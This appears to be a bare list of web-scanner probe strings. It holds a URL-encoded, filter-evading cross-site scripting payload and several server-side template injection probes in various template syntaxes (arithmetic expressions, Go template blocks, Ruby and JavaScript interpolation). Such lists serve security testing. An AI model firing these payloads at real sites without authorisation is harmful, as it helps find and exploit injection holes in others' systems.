555

1%3C%53%63%52%3C%53%63%52%69%50%74%3E%49%70%54%3E%61%77%4E%59%28%39%34%36%39%29%3C%2F%73%43%72%3C%53%63%52%69%50%74%3E%49%70%54%3E

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555

dfb__${98991*97996}__::.x

dfb[[${98991*97996}]]xca

dfb{{98991*97996}}xca

AAABBBCCC{{define "bla"}}bla{{end}}{{define "dfb"}}xyz{{end}}{{template "dfb"}}CCCBBBAAA

dfb{{'abcd'.toUpperCase()}}xca

dfb#{xca}=123